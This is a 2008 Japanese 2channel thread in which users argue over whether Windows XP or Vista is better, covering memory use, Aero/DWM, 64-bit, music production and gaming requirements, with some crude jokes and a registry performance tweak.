俺は去年9月くらいにPC変えたがVISTAなんか目もくれず 当然のごとくXPにした 事前にあちこちPCショップ回ってエアロについて質問しまくったが エアロは起動してるだけでメモリ650MB位食ってるらしい そもそもあんな常時動画流してるようなアプリ起動してて 速くなるわけないだろ 俺の前のへぼPCは動画(地雷)開くといつも固まったからな( ´Д⊂ ああいうUIムーブ系とネットワーク系が一番PCに負担かけるんだよ リモートデスクトップならいいけど、ネットワークドライブは最悪だし
>>443 メインサポート切れたWin2000は悲惨だよ。
IE7、WMP11、WindowsDefendef、デスクトップサーチ
.NET Framework3.5 Visual Sutudio2008 Office2007
全部インストールすらできない・・・
最近じゃAppleもサポート打ち切りiTunesとかQuickTimeも
インストールできません
>>453 それは現在2000使用者が少ないからだろ
最新OSの前OSがサポートされないことはまずない
2000だってvistaでたからそうなったわけで
最低でも7がでるまではXPも大丈夫だろうし最悪、一番ユーザーの多い
層をソフト側が(MSはともかく)切り捨てるなんてことはないだろ
>>451 いきなり怒鳴ってくるタイプの人間はさっさと帰ってほしいので
相手が欲しがってそうな方を適当に誉めてあしらわれるだけだ
>>454 Windows 7 が 2015 年までずれこんだら (さすがにないと思うが……)
Vista はずっとメインストリームサポートで
XP の延長サポートが切れるけどなw
XPは買わないほうが良いよ正直 素直にVista買っとけ ってかいい加減に2chでもXP反発デモくらい起こそうや 貧乏なXP厨に騙される初心者と情報弱者がもう見てられない そしてWindows板から「XP」スレを全て無くす事 XPはOSと呼べる物じゃないだろどう考えても
仕事が速いなw
http://pc11.2ch.net/test/read.cgi/win/1200406028/757 >757 :名無し~3.EXE :2008/02/25(月) 14:58:54 ID:w59amXPn
>XP64bitの方がはるかに快適だわ・・・
>安定してるし・・・
>
>こりゃもういい加減に2chでもVista反発デモくらい起こそうや
>64bit=Vistaな考えの初心者と情報弱者がもう見てられない
>
>そしてWindows板から「Vista」スレを全て無くす事
>VistaはOSと呼べる物じゃない、CPUやメモリ、HDDが無駄すぎる
Vistaは買わないほうが良いよ正直 素直にXPを使い続けろよ ってかいい加減に2chでもVista廃止デモくらい起こそうや パソコンショップ店員に騙される初心者と情報弱者がもう見てられない そして全世界からVistaを根絶させる事 VistaはまともなOSじゃないだろ、こんなの池沼でもわかるw
>>458 おっしゃる通りなのだが、
店員にしてみれば他に利幅の高い商品がない以上、
客を騙くらかしてVistaを売りつけるしかない。
それVistaとXPを反対に書いた奴の改変コピペ
Winddows7に期待しすぎ。 Vistaでろくに動かないPCがWin7で動くわけ無いぞ。 Vistaが主流にはいずれなるんだからここみてるやつは64Vista買っとけ
>>462 vistaは主流にはならない。
途中で消え去るだろう。
あの仕様(基本を押さえていない)では主流にはなり得ないのだ。
これについては先々、大きな問題になると思う。
次期win7が使い物になるかどうかはわからないが、
vistaの延長では100%失敗する。
>>462 7は32bitがでるからな
vistaよりスペック必要ならそもそも動かせないから
vista程度だと思う
>>456 XP使い=貧乏
馬鹿ですか
あとおまいさんが情報弱者だよ
Vista sp2でVistaは劇的に変わる。 XPもそうだった。 3年後には大抵のヤツはVistaだよ
>>463 おまいさんの考え方が変わらない限り
今後の Windows はおまいさんの言う
「基本」を押さえ続けないままだろうな
>>465 XP SP2 はセキュリティ的な問題に緊急対処した点 (Windows Firewall 標準搭載) と
独禁法訴訟への対処 (標準のアプリを設定できる) 以外は特にないから
基本的に NT 系列の SP では機能の追加は行わないと宣言してるので
Vista SP2 の前にこういった話 (問題) がなければ、大きく変わる理由はない
ソフトが追いつくのを待つばかりでVista自体に不満は無いんだが
32ビットVistaは論外だが64ビットVistaはいいぞ。 32ビットOSが頭打ちになるのは時間の問題だから そのうち64Vistaに以降せざるをえなくなるよ
コピペうぜー
対応ソフト待ちな部分は否定しないな。 ソフトが動かないからヤダって意見が大部分のようだし。
472 :
名無し~3.EXE :2008/02/27(水) 20:48:01 ID:j7kTBOfr
良スレあげ
473 :
名無し~3.EXE :2008/02/27(水) 23:56:53 ID:slMTQNLG
次はWindows 2Gでしょ? んでNE
Vista搭載のメーカー製パソコン(富士通)にXP入れたいんですけどXP Home Edition Service Pack 2があればいいんですよね?
ドライバがあるならね。
ドライバ入れるのがめんどくさいんだよな・・・
>>475 ,476
ありがとうございます。
ドライバーがなかったらドライバーもインストールするんですよね?
その場合XPのOSとドライバー以外に用意するものってあります?
>>477 デュアルブートにするのならXPを先に入れて、あとからvistaを入れた方がいいぞ。
480 :
名無し~3.EXE :2008/02/28(木) 17:09:00 ID:TAFoFAso
>>465 XPはもともとが欠陥OSだったんで、使い物にならなかったから
SP2で内部構造を作り変えただけ。
Vistaは最初から安定してるから、SP出てもそんなに変わらないと思う。
>>479 基本的に新しいOSのブートマネージャーは古いOSを認識しない。
英国のシネットはウインドウズ・ビスタに対して昨年、最も悲惨なハイテク製品の一つと評価した。
通常版じゃなくてOEM/DSP版を下げるべきだろう そうすればメーカー製やBTOPCでもVista搭載モデルのほうが安くなって 安くなるならそっちを、、と選ぶ人も多くなりそうだ
OEMは安くしないのかww 現状のままだなw _, ,_ (^Д^) ゲイシwwwww m9 ヽ) / ノ (,/^ヽ)
>>480 どんなに制限ユーザを推奨しても
管理者ユーザで使う欠陥ユーザが多すぎて危険だから
とりあえず Windows Firewall を載せたが
根本的な解決にならないので UAC を載せた
>>485 OEM 版とか今ですら十分安いはずなので
これ以上落としたら XP より格段に安くなるだろw
下手すると Linux プリインストール機より安くなる
ホームベーシックを無償にして大量に配布しとけよwww
Home Basic は Aero Glass やリモートデスクトップは利用できないが 検索や SuperFetch 等を含むメモリ管理周り、 GPU を利用した描画 (DWM) などの重要なコア機能は全部持っているから 実は最もコストパフォーマンスに優れた Vista だと思うんだが
491 :
名無し~3.EXE :2008/03/01(土) 18:34:37 ID:tMigyBsG
vista批判する人は実際に使ったことあるのかねー
492 :
名無し~3.EXE :2008/03/01(土) 18:59:47 ID:bJn6E6wk
>>489 premiumを値下げかXPで十分
どうしてもBasicが欲しいならオクだと不人気で安く買えるぞw
>>491 俺、SEだけど、Vistaの糞仕様に泣かされてる。
本当に「俺が糞なだけ」なら、いくらでも糞になってやるよ。 それで問題が解決するなら安いもんだ。
本日、FDDがオマケに付いてるOEMのXP_Home買いましたが。 安価な今が一番の買い時ですね。
>>489 もしかして俺のVistaが最初から爆速なのはBasicだからなのか?
Premium以降だと重いのか?
>>497 実際はAero有効の方が速いと思うが、、(それなりのVGAの場合)
よけいなものがついてない分軽いというのはあるのかも、、しれないがどうだろうね
そもそもデュアルコアで2GBメモリ積んでいればどのエディションでも重いと感じることはないよ
お察しの通りデュアルコア+2Gだから重くないのが普通なのか。 とはいえAeroの無いBasicでも、デフォルトテーマの VistaスタンダードはGPU使うハズだから 凝ってるAeroより速い可能性があるな…。
>>499 うちでは起動時にSleipnirで30個くらいWebページを開いた上で
さらに新規でWebページを開くときはSleipnir2で とやっているんだけど
これだとWebページを多数開いているだけでVistaだと2コア目のCPU使用率が50%以上ある
(当然ブラウザを全部閉じると0に近くなる)
しかし同じことをWin2003 ServerでやってもCPU使用率は10%もいかない
ほかにもJaneでスレ一覧を更新するとVistaだとCPU使用率が100%になったりする
CPUはE6600@3GHz
2D描画がCPUベースになっているのと、ウインドウ内容のモニタリングが重いんじゃないかと思う
PentiumM 2.6GHzでVista使っていたこともあったがやっぱりいろいろな面で重く感じられた
デュアルコアじゃないと実用にならないがデュアルコアがほとんど当たり前だから
とくに問題ではないと、、CPUパワーが必要な場面が多くなっても
デュアルコアなら重いと感じるところまでいかないからね
あと動画再生の点でも重いな オーバーレイが使えなくなって、VMRモードでしか動画再生ができなくなってるやつ WMPで言うところの「高画質モード」 というやつなんだけど これもえらいCPU負荷が高い Vistaではこちらしか選べないわけだから シングルコアのCPUだと動画再生も苦労する
動画再生に苦労って・・・ブルーレイとか?
>>502 いやいやWMPで、高画質モード にチェックを入れるとやたら重くなるのよ
オーバーレイならフルスクリーンでもなんでもないが、VMRモードの場合
フルスクリーンにしたらかなり重たくなった
まぁCore2ならなんでもない処理だし、2.6GHzとはいってもPentiumMは
苦手な処理もあるんで何とも
>>499 レジストリいじればエアロもつかえますぜ
メディアセンターをロイターのニュース見るのに使ってるのは 俺だけ? あれ結構便利なんだが・・・
>>504 結局できないんじゃないの?BasicでAero(グラス表示)にできた成功例って見たことないんだけど。
>>506 basicじゃないから試せないんだよな〜
508 :
名無し~3.EXE :2008/03/03(月) 15:17:59 ID:+J6Qu8gH
>>487 いや、そもそも管理者アカウント以外では動作しないソフトがあるのが問題。
509 :
名無し~3.EXE :2008/03/03(月) 15:20:32 ID:+J6Qu8gH
XPは今使うと時代遅れに感じるね
vistaは今使うには時代早すぎたね。現状では意味を成さない
511 :
名無し~3.EXE :2008/03/03(月) 16:01:17 ID:MWLwkVye
ゲーム機仕様でようやく動くようなOSなんか作らずに、 チップセットVGAでAeroがサクサク動くOS作れ!
時代遅れも何も快適にビシバシ動作してくれればいいです ノートでもXPは快適だし OSに比してオーバースペック気味かな?というのが一番使い易いよね そういう意味ではVistaを選択する意味はまず無い
それで結論で今後を考えてXPかVISTAどっちがいいのかな? 用途で言うとゲーム主体だけど
514 :
名無し~3.EXE :2008/03/03(月) 16:51:07 ID:uwKot171
>>511 頭古すぎw
一番安いCore2Duoに内臓VGA(G965)でAeroはサクサク
XPならそれで更に挙動は速いよ で、それで困る事がないし、使ってる人の邪魔をしないからXPが好まれている訳
何より Vista に関する人柱様のノウハウが足りない。 2k , XP はそれなりにノウハウもたまっている。 まあ、完全に他人任せなのはわかってるけど。 仕事で使う OS でノウハウ作りはしたくはないし。企業が移行しない理由って、その辺もあるんじゃない? 趣味で使う OS としては面白いと思うよ。いじり倒すにはなかなか骨が折れるけど
>>516 ほとんどの人がネットやOfficeやデジカメ画像整理に年賀状やるのに
CeleronのXPマシンで困ってないw
で、PCの買い替えなんて誰もしないわけだが・・・
それより数段はやいCore2DuoのVistaで困る人なんてほとんどいないと・・・
Core2DuoのXPなら、XPの威力がまさに体感できるからねw こんなにいいOSだったのか・・・、と古いPCからの移行だったら感じる事は間違いない そういう事もあると思うよ
>>521 ごめん、ひと昔まえのCeleronと比べたら
数倍の間違いですねw
省電力、ロングバッテリータイプノートのカテゴリーがすっぱり無くなっている リソース大食いのVistaで省エネノートは無理 プリインストールモデルはXpとVistaの二本立てにすべき
>>523 それならVistaが売れる訳ないしw
画素数にモバイル機は問題が出てくる事が多いのに、無駄にUIが大きく華美になってるから
普通にVistaが人気がない事を証明するようなことはMSがやらせないと思うw
Vistaがいい悪いはともかくとして、メモリ3GB制限が痛すぎるから64bitへの意向は必須の流れ。 64bitにしないならVistaの意味が全くない。
>メモリ3GB制限が痛すぎるから 3GBもいらないでしょw そんなメモリーが必要なアプリてなによ Xp+オフィスなら512MBもあれば十分
俺XP512mbだがゲームも普通にできるな まあ、場合によってはきついけど
>>526 DTMやってたらメモリいくらでも欲しくなるよ。
DTMってなに? DeskTopMusic?
そうそう。
なんだ遊びかよwwwwwwwwww かんべんしてくれw
遊びですまんね。 まあ俺の場合は趣味にすぎんけど、仕事でやってる人も大勢いるから。 俺は仕事でCAD使ってるが、こちらは常識的な図面ならメモリ1GBで困ったことはない。
>>504 それでAero依存のアプリが動くと良いが、不安定になったら嫌だなー。
素直にPremiumへのアップグレード版買って性能比見てみるか…?
512mbでゲームは無理。 年々必要スペックがあがってるからな・・ まともにやりたいなら4Gは必須だ
>>528 そうえいば、なんでDTMでそんなメモリいるんだ?
フルオーケストラをサンプリング音源でやるとか?
rへ __ __ くヽ l^ i /: : : : : : : : Y: :ヽ . \\l l. /: :./ l: :.lヽ: : :ヽ: : :ヽ \\l //: :/ノ l: :ト、ヽ: : :',: : :. ', \\ / l: :/ ○ 丶l ○ l: : :ハ: : : :', \\ _/: :l: :l@┌‐┐ @ l: :/: :l: : : :.', \/:::::::\ヽl.\ | ! /:// l: : : :..i {:::::::::::::::::`T7└‐┴‐< l: : : :. l `r──‐┼-/l/l// 01i, l: : : : : l /: : : : : : | /:/: l: : : :Y:::::::l l: : : : : :.l ,': : : : : :./ /: /: : : : l:::::::::l. l: : : : : : l i: : : : : く/レへ: : : : l::::::::::',. !: : : : : : l . l: : : : : : :\:::::::::::ヽ イ:::::::::::::〉l: : : : : : : l l: : : : : : : : :ト、:::::::::::::::>tjtjtjノ l: : : : : : : :l ',: : : : : : : :/├‐┤|─ '"| l: : : : : : : :l ヽ: : : : / .l:::::::| l:::::::::::l ',: : : : : : :,' \:/ l:::::::l |::::::::::l ヽ:: : : : /
>>536 最近のゲームは 3D を使ってない物の方が稀
そして、現時点においてゲームで普通に 2GB 使って
メモリ不足で落ちるものがあったりする
>>537 DTM だとサウンドフォントが GB 単位とかいってたりするので
これを処理して楽曲データとして出すには結構メモリを要求する
当然 CPU も HDD もそれなりに要求する
フルオケじゃなくバンド程度の楽器数でも、参照する
サウンドフォントの合計データサイズは数十 GB とか
このクラスだとプロ仕様だと思うけど
コンシューマ用途の DTM ソフトの場合は知らない
>>539 エロゲ程度ならば問題ないだろ
vistaなら2GB必要だろうが
XPなら1GBでもいいだろ
よほど余計なアプリがあるんじゃね?
vistaなら問題外だが
>>537 今はVSTiとかあるから、ある意味
それに近いことも行われるけどな。
>>537 ピアノだけでも500MB以上メモリ食うので。
オーケストラ音源のQLSOプラチナエディションは最新スペックのPCでもまともに動きません。
へー。 予想以上に敷居高いんだな。 やっぱりデPはプロなのかな。
そんな負荷によってマトモに動かなくなるようなソフトウエアサンプラーを無理して使うメリットがないダロw プロはハードウエアサンプラー。 プロでもないアマチュアがちょこっと触るために訳の分からん処理系をごり押しされてはかなわん ・ゲーム ・DTM ・動画のエンコーダー Vistaの用途が仕事と関係のないどうでもいい処理しか上がってこないんですけどw
>>545 プロがハードサンプラーって・・・・・・・・・・・
今更プロでハードサンプラー使ってるのなんて、昔の骨董品の 音をわざと狙って使ってるか、もしくはブレイクビーツ系の連中 くらいじゃね >>DTM ほとんどソフトに移行してるよな。ソフトサンプラーのためだけに デスクトップを一台まるまる使ってる奴もいるのに。
プロはMac Pro使ってるよ
>>545 ・ゲーム
・DTM
・動画のエンコーダー
どれも無理してパソコンで処理しなくてもいいものばかりですよね
MSはVistaに乗り換えるメリットを提示できていない。
>>545 変える必要があるかないかじゃない
どちらが優れてるかを競ってるんだろ 話がはずれてる
DTM界は音源は色々使うが編集には使い慣れたソフト使う人が多いと思う 新バージョンで使い勝手が変わったりする事も割とあるから 旧バージョンを使う為にOS変えないこともあるだろう DOS用のレコンポーザが良い例か
>>541 おまえのなかでPCゲーはエロしかないのかww
最新ゲーやろうとしたら2G以上必須だっての。
ネットとofficeだけとか言ってる奴はPen3の2000でもいじってろ
>>550 パソコンゲームをパソコン以外でできないだろw
2000売ってくれれば喜んで買う層は結構いると思うよ 致命的なセキュリティ系のFixだけしてくれれば2000で十分な人は多いでしょ
>>556 ポンコツのPen3マシンとか入れるんだったら
いいかもねw
未だに2000とxpだったら2000派だな サクサク感と安定さがxpの比じゃない
559 :
名無し~3.EXE :2008/03/05(水) 18:10:25 ID:P/kHioCu
サクサク感だったら、GPUでウィンドウを描画してるVistaの一人勝ちだと思うが・・ XP以前のOSはCPUで描画し、また再描画も頻繁に起こるため 描画時にはもたつきが目立ち、サクサク感はVistaに劣る
ほんまかいな
まだvistaでやりたいことがない。
>>559 実際に使うとvistaのほうがかなりもっさりするよ
理論ではなく体感で半
>>559 XPよりVista派の俺でも流石に2kより軽いとは思わないぞw
Vistaの、例えば閉じるボタンが光ったり、ゆっくり閉じたり、そんな効果無駄だと思わない?
Vistaはムーアの法則崩壊後、マルチCPUへ大きくパラダイムシフトするために開発した実験OS。 マルチCPUが本当に有効な解答なのかまだわからない 並列処理は各CPUへ処理を分配するオーバーヘッド処理で多少のトランジスタ性能向上分は 食ってしまうだろう。 又、増えたコア分だけ余計に消費電力が掛かるし並列処理が有効なアプリ自体どれくらいあるのかもわからない そんな実験中の環境に強制的に移行させようとするMS及びインテルは天罰が下るだろう というかそうそう簡単に並列処理がうまくいくわけがない。 Xpの延命措置は必至となるだろう。
いいんだよアホユーザが使うんだから 数値計算じゃないから並列化なんて知らんやつばかりだろうに
ムーアの法則は別に崩壊はしてないとおもうけども
>>563 Aeroの方がヌルヌルかつスムーズにウィンドウが動くね。
GPUが仕事してるって感じw
Aero=ローション 無くてもいいが使ったほうが格段に気持ちいい
570 :
名無し~3.EXE :2008/03/06(木) 12:25:05 ID:BcZKx0Md
PCのスペックはあがってきてるのにWin95でウィンドウをぐりぐり動かしても XPでウィンドウをぐりぐり動かしても同じくらい描画が遅れるのは、 描画の負担も増えてきてるってこと?
別に遅れないけどな
言いたいことは1つ! 2k使っている可愛い女の子は居るのか?と言うこと居ないだろうな、、、、OTL linuxでシェルでやってる可愛い女の子はもっと居ないよな、、、OTLOTL 10代の若いのに2kと言っても伝わらないよなOTLOTLOTL 大抵はXPなんだよな、、、無念 orz OTL orz OTL
>>572 女の子っていうかPCあんまり詳しくない人は黙って最新OS使うのが普通だし頭がいい使い方だよ
セキュリティ面では圧倒的に 2k < XP < vista なんだし
機能性もだんだんとあがってるし
linuxを操る美少女か・・・・いいなぁ そういうのすごく好き 普通に現実でいて欲しい
574 :
名無し~3.EXE :2008/03/06(木) 21:52:26 ID:kolFnuu/
>>570 Vistaだと描画は遅れないよ。
理由は新機能DWM(デスクトップ・ウィンドウ・マネージャー)のおかげ
これはウィンドウの描画処理をGPUに任せ、CPUの負荷を軽減し
またウィンドウの再描画を無くしたもの。
>>574 だからXPまでって書いたんだが・・・
今更DWMのことを堂々と書かれても
ドラッグ中にウインドウの内容を表示する、とかね もう最初にチェック外しちゃうからね Vistaはどうでもいいところにばかり力を入れた感じがする 重いOSでも許して貰うための言い訳みたいな感じがするんだよなぁ
XPにVISTA付けて売れば良かったのに、プレインストールは全部デュアルブートにして
579 :
名無し~3.EXE :2008/03/06(木) 23:25:59 ID://HqYxsc
VistaにDWMなかったら更に遅くなってるな そんな俺は爆速マシンを組んだので Vistaでのストレスは旧ソフトが動かないくらいだぜヒャッホウTT
XPにAeroとDWMだけのせてくれたらよかったのに
XPにLow Priority I/Oがあればよかった
>>579 同じ機種でOSだけ変えて使えよ
583 :
名無し~3.EXE :2008/03/07(金) 00:48:39 ID:8KK7tDDx
ショボイPCなんだな
Aeroってキレイという以外に利点あるの?
>>584 ゲーム中にネットやワードやエクセルの画面に切り替えるのに重宝している
ポンポンサササッって感じ
Vistaがデザイン的にXPより優れているとは思わないな 中身と同じでゴテゴテしすぎ
>>549 PCI 時代にサウンドカード 4 枚差ししないと帯域が足りないのに
Power Mac で最上位モデルでも PCIx3 しか用意しなかったせいで
Windows 機に逃げられた過去があるのに、今更戻ると思う?
>>550 PC は汎用で使えるコンピュータなんだから
極論で言えば PC でできることは全て PC でやる必要なんてない
しかし PC に押されてワープロ専用機等は衰退しきった現実もある
PC を使わせるメリットは PC メーカが打ち出すもので
PC 向け汎用 OS メーカが提示するものじゃない
>>564 別にそれがウザイと感じたりもしなければ
それで重くなることもないならどうでもいい
ところで、ゆっくり閉じるって Mac OS X 位しか持ってないんじゃ?
特定キーを押しながら最小化すると
10 秒くらいかけて Dock に入って行くぞw
>>565 NT 系列は 10 年以上前から多 CPU に対応しているのに今更何を言ってるんだ
CPU 数を増やせばその分純粋に倍になっていく訳でもないのも常識
当然タスク振り分け分のオーバヘッドやリソースの排他処理による
パフォーマンス低下などが主要因
Vista からの新しい話でもなんでもないよ
>>573 Linux を Linux として認識せずに使ってる美少女とかなら
そこらじゅうにいるんじゃないか?
Linux 採用携帯とかで
>>577 XP 以前は遅くなりすぎるので外すのは当然だったけど
Vista だと負荷にならないからそのままだな
オフィスで並んでる数十台の XP 機とかで
外してるような人は見たことがないので
大抵の人には Vista の方が軽く感じられると思う
あ、美少女がそこらじゅうにいるかは別問題で 2000 で Japanist を使うかわいい子とか FreeBSD を使うかわいい子とかなら実際にいるが 少女じゃないな
おまいらがそんなに2kやXPを一生使うっていうなら 俺はvistaを一生使ってやんよ
VistaのPCを買った時はメモリー1GBだったので、「何だ、こりゃ!?退化してね?」 と思ったが、2GBにしたら普通に使えるようになった。 今は不満ない。
>581 Aeroは要らん…2kの外見のままでDWMが良い
>>585 それはエアロじゃなくてDWMのことだとおもうが
WDMがONのWindowsクラッシックのテーマでも作れば・・・
>>584 そもそもAeroが綺麗だと思えない。
化粧の濃いねーちゃんっぽくみえる。
どのWindowsでも最初にやることは 「ドラッグ中にウインドウの内容を表示する」にチェックを入れることだな。 2番目がキーボードの表示待ち時間を最短にする。
>>597 >ドラッグ中にウインドウの内容を表示する
kwsk
ドラッグ中に(笑)
>>595 探せばあるよ、DWM版クラシックスキン
並列処理の実験はMS社内でヤレ。 不安定なOS出されると世界中の国民総生産の何%かは確実にロスする MSはいまやそういう企業になったのだという自覚を持って欲しい いつまでもホビーパソコン向けのソフトウエアを開発している感覚では困る
603 :
名無し~3.EXE :2008/03/08(土) 14:02:43 ID:WVe6DGUS
Vistaがメモリ馬鹿食いしてるのはわかったけど、 CPU性能はVistaとXPでどれほど差が出るの?
604 :
名無し~3.EXE :2008/03/08(土) 15:08:48 ID:j6e9j1iY
VsitaはAeroでグラフィック馬鹿食いするからそのへんの描画をグラフィックアクセラレーターに押し付けて るからAeroの描画の分軽くなるらしい。 でも、テーマや配色をクラシックに戻すと意味がない。 ((実際の使用ではクラシックのほうが速い気がする)) やはり、XPをおすすめする。 安いし。 Vistaは時計の時間変更の際にもパスワードが必要。(わからないでもないが)
>>604 エアロの分CPUは軽くなる
ただしメモリは少し食う
クラシックにするとCPUが重くなってメモリが軽くなる
あと時間設定は必要なかったと思うんだけど
時計はadmin権限要るからな そもそもデフォルトがadmin権限だったXpまでが異常。 admin権限でネットアクセスなんて女教師がノーパンで男子校で教えるようなもん Vistaでまたぞろ下らん権限コントロール機能を付けたがデフォルトでuser権限にすれば良いだけ MSは下らん利便性を追求するのはあきらめろ あれもこれも欲張っても中途半端になるだけ 未だにadmin権限が必要なアプリが存在するがデフォルトでuser権限で済むようにソフト屋に指導しろ
>女教師がノーパンで男子校で教えるようなもん vistaがなぜ嫌われているかがわかったよ
>>606 >admin権限でネットアクセスなんて女教師がノーパンで男子校で教えるようなもん
楽しそうだなw
今ってもうXPのパソコン売ってないの? 手に入れるにはどうしたらいいの
>>609 通販
DELLとかマウスとかエプダイとかあと一部の国産メーカー
あと店頭でも低スペックだがおいてあるところはある
電器屋店頭に並んでるVISTAマシン糞すぎるwww 起動したままの状態で既にメモリ50%以上食ってるってどういう事よ。
そういう仕組みを導入したからだと vista派の人が口をすっぱくして教えてくれたよ。 このスレ内でも。
>>611 確かに。
メモリーを2GB積んでやっと普通に使えるPCなのに1GBで販売してるからな。
さらにメモリーを2GBに増設すると512MB×2が無駄になってしまうw
メモリー安いから気にはならなかったけど。
>>613 ヘタしたら店頭にあるの512MBとかもあるしな
CPUセルロン2Gない奴に、メモリ512MBとか気が狂ったとしか思えないvistaもあったな
セルロンって、風邪薬の名前みたいだな。
知り合いがVista、セレ、メモリ1Gのノート買わされてた・・ その人は初めてのPCなので何の不満も漏らさない 知らないって幸せだな 操作教えてた俺はイライラしっぱなしだったよ
>>617 そりゃほかに触ったことなければPCってこういうもんか
と思うからな
まだセンプロンじゃないだけよかったかもね
最近までXPでメモリ128だったけど、起動までに10分以上かかってた。 変な時に触るとすぐフリーズしてたよ。貰い物だけどね。 特にPCにも興味なかったし、まあこんなもんなんだろと思ってた。 ゲームやりたくて、最近T7500、メモリ2G、HDD7200回転のノート買った。 なんかね・・もうね・・色々すごすぎ。 ビスタもハードが進歩したら良くなるのかね?
あ、迷ったけどOSはXPにしたよ。 ネットでの評価と友人のアドバイスを参考にした
良くなるだろうな でも、友人のお薦めで正解 ノートではVistaは基本的に厳しい Vistaで問題なく使える=XPならとにかく快適 だから
ノートでも、Vistaで問題なく使える=XPには戻れない、だったな俺は。 一度マンションに住むと安アパートには戻れないというか
大学のPCvistaじゃないとだめとか何考えてるんだ まあMSと契約してるからしょうがないんだろうけど
>>620 友人に騙されたね。Vistaにすればよかったのに・・・
625 :
名無し~3.EXE :2008/03/09(日) 10:58:55 ID:X5J3eN2d
不毛なスレやね。 デスクトップに、Windows 2003 Server使ってる俺は勝ち組。
デスクトップに(winの)鯖OS使ってる男の人って…
Vistaが動くスペックなら、Vistaの方がいいねぇ。 どうせ時間は進むことしかできないわけで、 時間がたつにつれて、Vistaにすべきだったと思うようになる。
ならその時にVistaにすればいいだけの話では…? 先回ってVistaにしても結局その必要性はなかったということになるかもしれないし。 そうなれば、単なる取り越し苦労でしかない。
XPを買って、さらにVistaを買うと? XPの値段いくらだと思っているんだ?
>>628 特に理由がなければさっさとVistaに移行した方がよろしいかと・・・
使わないと損
個人の価値観に依存するだろう・・・常識的に考えて
>>632 特にvistaじゃないと駄目という理由がない限り移行する必要がない
使っても得とは言えない
つうか98とかからならできること違うからいいけど 同じハードでできることも差異がないのならvistaにする意味がない それに32bitである以上これ以上、ハードが進化してもそれほど意味はないわけで まあ俺もクアッド+4GBRAMならvistaにするけども そんな必要性はないし
つうかvistaがいいとかいうやつは 古いPCから乗り換えて快適なやつ vista悪いというやつはUPグレのやつと普通の人の一部 普通の人の半分はどうでもいい 勘違いしてるんだよvistaマンセーのやつは ハードの進化をOSの進化だと その新調したマシンにXPを入れてみろと
性能面じゃ32bitとしてはそろそろ限界だろうな 「できる事」ならちょっと前の機種でも十分だし そりゃ快適さは最新機種とは違うけど 機能追加→肥大化→遅くなる なんだから、PenMやC2Dみたいな方向性で、低スペックでも快適に動作するというのを目指せばよかったんだよ しかし、VistaはXPがPenVだとしたらPentium4みたいなOSになってしまった 簡単な処理をやるだけならXPよりも気持ち快適になるかもしれないが、重い処理をやらせるとのたくさするというのは駄目だろ
エロゲするならどっち?
エロゲならVRAM大きけりゃどっちでもいいが64bitはやめとけ
XPでスーパーフェチ HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Contro l\Session Manager\Memory Management\PrefetchParameters ここにDWORD値でEnableSuperfetchを新規作成 値は 0:無効 1:アプリケーション 2:システム 3:両方 EnablePrefetchの方は無効にしておくほうが無難 ある程度スペックに余裕があるならかなり速くなる 900 名前:名無し~3.EXE [sage] 2008/03/04(火) 19:07:26 ID:KelS2rYA XPSP2には試験的にこういう機能が付いてただけの話 Vistaほど爆発的な効果はないがXPでもアプリの起動がかなり速くなる スペック低いやつはやると余計遅くなったりする可能性ありなので速くなるかどうかは環境次第
>>640 試してみたが、割とすぐに効果は体感できるな
最初からこの路線で行けばよかったのに
>>636 XPにUACとVista式のエクスプローラ来たら考えるよ。
ファイラ使えよw ものの一週間でマウス使うエクスプローラとかたるくてやってられなくなるよw
>>637 XPより軽い→低機能だからな。年々ハードスペックが上がるのに
低機能へバージョンアップはありえんだろw
>>643 俺も昔はファイラ派だったが
最近は片手ポケットに入れたままマウスだけで操作するのが楽と思うようになった
エディタは流石にマウス使わないから Xyzzy だけど
ケータイ式キーボードでも買ったら片手で打てるかな〜とか考えてしまうこともある
>>645 そんなことを思っていた時期もありました。
買ったけど、地雷だったなぁ・・・
ttp://k-tai.impress.co.jp/cda/article/news_toppage/11788.html 「PCでやること・出来ること」って新機軸出てきていない現状では、
Vista以前と以後で変わっていないと思う。
(XPと2Kでも同じような気もするが)
Webブラウズ、メール、メッセンジャ、VoIP等のネット関連機能は
PCスペックよりも回線・帯域などの兼ね合いだし、
文書作成など(割と)非ネット系のものもハードスペックを
これ以上要求する者はないはず。
膨大なワークエリアを要求する画像・音楽とは64Kは恩恵ありそうだが・・・
汎用OSでやり続ける事はどうだろうかって気もする。
ハードの性能の見極めがポイントになる気がするなぁ デスクトップは性能追求になるだろうけど、ノートや更にその中でもモバイル機は、 動作速度よりも信頼性とか頑強さが改めて必要になるかも いつでも持ち歩くツールとしてとりあえず完成される時期は近づいてる気がする SSDも登場したし 改めて軽量OSが脚光を浴びる気がする
648 :
名無し~3.EXE :2008/03/10(月) 22:56:15 ID:ilkDF/cJ
一度64bit環境で文章作るともう元には戻れないね^^; wordの走り具合とかexcelの完成度が全く違う。
>>647 まぁその辺はMSも把握しているようで
UMPC向けに、Vistaなんかすっ飛ばしてWindows7を急ぐような話が載ってたな
651 :
名無し~3.EXE :2008/03/11(火) 00:10:30 ID:p1pS8O8S
UMPCって何? 興味がある。
652 :
名無し~3.EXE :2008/03/11(火) 00:10:38 ID:s85GkDoQ
>>87 その1GをまるまるVistaに食われる感じだな
▅▅▅▅▅▅▅▅▅▅▅ ▄▇▓::▃▃ ▃▃ ▓▇▄ ▄█▓░◤ ◥ ◤ ◥ ░▓▇▄ ▄█▓░ ◢ ◣ ◢ ◣░▓▇▄ ▄█▓░ ▐ █▋▐ ▐ █▋ ▐ ░▓▇▄ ▄█▓░: ◥ ◤ ◥ ◤ ░▓▇▄ █▓░▒ ◤▀▀◥ ▃ ▃ ◤▀▀◥▒:░▓█ █▓░ ::::▒░░::▊ ▲ ▐ :::░░▒::::░▓█ █▓░:: ◥▃▃▅██▅▃▃◤ ░▓█ ▀█▓░ ███████ ░▓█▀ ▀█▓░ ▐▓▓▓▓▓▓▌ ░▓█▀ ▀█▓░ ▀▀▀▀▀▀ ░▓█▀
>>647 だよなー
富士通や工人舎 sonyなどが売っている該当機など今じゃVistaモデルしかない
頼むからXPで売ってくれと思う、、去年までは売っていたのだけどね
最近買おうと思ったんだけど、しまったと思った
>>651 Ultra Mobile PCの略 なのかもしれない
VAIO Type U とか富士通のLOOX Uなどなど
XPモデルは売れないんだからしょうがない
